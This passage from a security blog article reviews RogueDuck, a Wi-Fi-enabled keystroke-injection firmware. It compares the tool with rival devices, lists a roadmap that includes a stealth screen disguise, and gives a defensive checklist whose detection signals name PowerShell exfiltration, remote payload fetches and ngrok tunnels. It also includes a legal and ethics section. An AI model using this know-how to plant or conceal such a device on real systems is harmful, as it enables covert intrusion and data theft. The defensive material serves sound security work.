Conference recon	Charging kiosk / demo station	On-site hotspot	Booth staff observation
Air-gapped bridge	Air-gapped machine USB port	RogueDuck_Sync AP	Wi-Fi range through walls

14. RogueDuck vs. the Field — A Comparison Table

To be clear-eyed about where RogueDuck sits, here is a straight comparison against the other serious options in the keystroke-injection space. No tool wins every category; the right choice depends on the engagement.

Capability	RogueDuck V2.1 (StickS3)	Hak5 USB Rubber Ducky (2022)	Flipper Zero	O.MG Cable
Approx. hardware cost	~$20	~$45	~$169	~$120+
Native USB HID	✅ ESP32-S3	✅ Dedicated HID MCU	✅	✅
On-board Wi-Fi	✅ 2.4 GHz, AP + STA	❌	❌ (BLE only)	❌
Mobile web command UI	✅ Captive portal	❌	✅ Phone app	✅ Phone app
Cloud payload (RAM-only)	✅ Cloud Vector	❌ (SD card)	❌ (SD card)	⚠️ Limited
Internet tunneling (worldwide trigger)	✅ Cloudflare/ngrok	❌	❌	⚠️ Via tethered phone
On-device exfil listener + loot store	✅ LittleFS + dashboard	❌	❌	⚠️
Panic wipe	✅ One-tap	❌ (physical SD)	⚠️ Manual	⚠️
DuckyScript support	1.0 (US layout)	3.0 (full)	1.0-ish	1.0-ish
Display	✅ 1.14" colour	❌	✅ Monochrome	❌
Battery	✅ 250 mAh	❌ (host-powered)	✅	❌ (host-powered)
IR / other radios	✅ IR TX/RX	❌	✅ Sub-GHz, NFC, RFID, IR	❌
Form-factor stealth	Looks like a USB dongle / remote	Looks like a flash drive	Looks like a toy dolphin	Looks like a charging cable
Open source firmware	✅	❌ (closed)	✅	❌ (closed)

The pattern in that table is the whole thesis of RogueDuck in one grid. The Rubber Ducky is the cheapest dedicated ducky but has no radio. The Flipper is the most versatile multi-tool but is the least stealthy and the most expensive. The O.MG Cable is the stealthiest form factor but is host-powered and closed-source. RogueDuck is the only option that combines native HID, dual Wi-Fi, cloud tunneling, RAM-only payload execution, on-device exfil, and a panic wipe — at the lowest hardware cost of any of them. The trade-off is DuckyScript 1.0 only (no 3.0 control flow yet) and a US-keyboard-only parser, both of which are on the roadmap.

15. The Roadmap — What Is Coming Next

The README is admirably honest about what is done and what is not. Here is the live roadmap, with the shipped items checked and the pending items flagged:

Shipped in V2.1 ✅

• ✅ Captive portal — DNS server in AP mode auto-opens the web UI on connect.
• ✅ Tunneling companion — rogueduck_tunnel.py with Cloudflare/ngrok docs and script.
• ✅ Data exfiltration — listener endpoint captures target data to LittleFS.

Pending 🚧

• ⬜ International keyboard layouts — extend character mapping beyond US English to UK, DE, FR, ES. This is the biggest current limitation for European engagements.
• ⬜ Onboard SD card storage — integrate external SD hardware configs for payload libraries larger than LittleFS allows.
• ⬜ Stealth mode (screen masking) — a "set-and-forget" UI toggle that replaces the active CRT terminal with a deceptive, low-power "Office/Admin" screensaver, so the duck looks like a benign peripheral during long deployments.

The stealth-mode item is the one to watch. The CRT UI is gorgeous for operator-facing use, but a glowing cyberpunk screen is a liability when the device needs to disappear under a desk for three days. A believable "Windows is installing updates" or "USB receiver active" mask would close the last visible tell.

16. Flip the Board — How to Defend Against a RogueDuck

Every offensive tool deserves a defensive counterpart, and RogueDuck is no exception. If you are on the blue side, the same features that make the duck powerful also make it detectable. Here is the defensive checklist, mapped to the firmware's attack chain:

Attack Phase	Defensive Control	Detection Signal
USB HID enumeration	USB device allowlisting / BadUSB prevention	Unknown VID/PID keyboard; keyboard authorization prompts Kaspersky — BadUSB Attack Prevention
Wi-Fi AP beacon (RogueDuck_Sync)	Wireless IDS / rogue AP scanning	An open 2.4 GHz SSID named "RogueDuck_Sync" with a predictable BSSID pattern
Captive portal DNS interception	DNS monitoring on corporate WPA	A device answering all DNS queries with a single RFC1918 address
Cloud Vector payload fetch	HTTP egress filtering / DNS allowlisting	An IoT device making outbound HTTPS to raw.githubusercontent.com or pastebin at trigger time
Invoke-RestMethod exfil	PowerShell Script Block Logging (EID 4104)	Invoke-RestMethod + -Uri in a script block, especially to RFC1918 targets Splunk — Invoke-RestMethod analytic
Cloudflare/ngrok tunnel	Egress proxy + domain reputation	Outbound traffic to *.trycloudflare.com or *.ngrok.io from non-developer assets
Physical planting	USB port audits, port blockers, cable management discipline	An unrecognized 48×24mm device on a rear USB port with a colour screen

The defensive truth is that no single control stops a RogueDuck — it crosses too many trust domains. The winning posture is layered: USB allowlisting to stop the HID enumeration, wireless IDS to catch the rogue AP, PowerShell logging to catch the exfil, and egress filtering to catch the tunnel. Any one of those controls, properly tuned, would have caught most of the scenarios in section 13. The duck is powerful against an unmonitored environment; against a monitored one, it is a loud, glowing tell.

17. The Legal and Ethical Framework

Here is the part that has to be said clearly, because the capability described above is genuinely dangerous in the wrong hands. RogueDuck V2.1 is designed for educational purposes, authorised penetration testing, and personal research only. The developer assumes no liability and is not responsible for any misuse or damage caused by this firmware. It must only be operated on networks and devices for which you have explicit, written, scoped permission to test.

What "explicit permission" actually means in practice:

• A signed rules of engagement document that names the target organisation, the in-scope assets, the time window, and the authorised techniques.
• A letter of authorisation you can produce on demand to any staff member who questions your presence.
• Scope discipline — if the engagement covers workstations but not the SCADA network, the SCADA network is off-limits, full stop, even if you can physically reach it.
• Safe exfiltration — any data you collect belongs to the client, is stored encrypted, is delivered to them at engagement close, and is destroyed under their data-handling policy.
• Responsible disclosure — if you discover a vulnerability that affects parties outside scope, you disclose through proper channels, you do not exploit it.

In most jurisdictions, unauthorised access to a computer system — even just plugging a ducky into a port you were not invited to touch — is a criminal offence carrying real prison time. The fact that the tool costs $20 and fits in a pocket does not change the legal weight of using it. If you would not be comfortable explaining the action to a magistrate, do not do it.

This is the ethical line that separates a red teamer from a criminal, and it is not a technical line. It is a consent line. The same firmware, the same payload, the same $20 stick — one is a professional engagement, the other is a felony, and the only difference is the signature on the scope document.

18. Closing Thoughts From the Lab Bench

RogueDuck V2.1 is the kind of project that makes you重新 think the cost curve of offensive hardware. For the price of a USB Rubber Ducky and a coffee, you get a device that does HID injection and Wi-Fi command-and-control and cloud tunneling and RAM-only payload execution and on-device exfiltration and a panic wipe — all on open-source firmware you can read, audit, and modify. That is not an incremental improvement on the ducky. That is a new capability class.

What makes it work is the convergence we opened with: cheap ESP32-S3 silicon, a thoughtfully designed StickS3 carrier, and a community that has spent fifteen years building the DuckyScript vocabulary and the offensive-hardware mental models. RogueDuck is the synthesis. It is what happens when the hardware finally catches up to the ambition.

The roadmap is honest about the gaps — international keyboards, SD storage, a stealth screen mask — and those gaps are real. But the core is here, it works, it is open, and it costs twenty dollars. If you are building a red team kit, a hardware lab, or a security curriculum, the StickS3 plus RogueDuck is now the default starting point. The ducky has grown a radio, a brain, and a web browser, and it learned to phone home.

Be free, my precious.

19. Credits and Disclaimer

RogueDuck V2.1 is developed by @M5RogueOps on GitHub, with the full source and release binaries at M5RogueOps/M5StickS3-RogueDuck. Powered by Ethical Hackers Den. Hardware documentation courtesy of M5Stack official docs, with the StickS3 available from the M5Stack shop. Flashing tools: M5Burner and M5Launcher by bmorcelli.

Disclaimer: This article and the firmware it describes are provided for educational purposes, authorised penetration testing, and personal research only. The author and publishers assume no liability and are not responsible for any misuse or damage caused by this firmware or the techniques described herein. Only operate RogueDuck on networks and devices for which you hold explicit, written, scoped authorisation. Unauthorised access to computer systems is a criminal offence in most jurisdictions. Know your scope. Honour your rules of engagement. If in doubt, do not plug it in.

---

Found this useful? More from the Den:

• The Anatomy of Social Engineering
• The Definitive Guide to ESP32 History
• The Ultimate Guide to the M5Stack Cardputer Range
• The Ultimate OSINT Toolkit
• M5Stack Cardputer Zero: The Ultimate Cyberdeck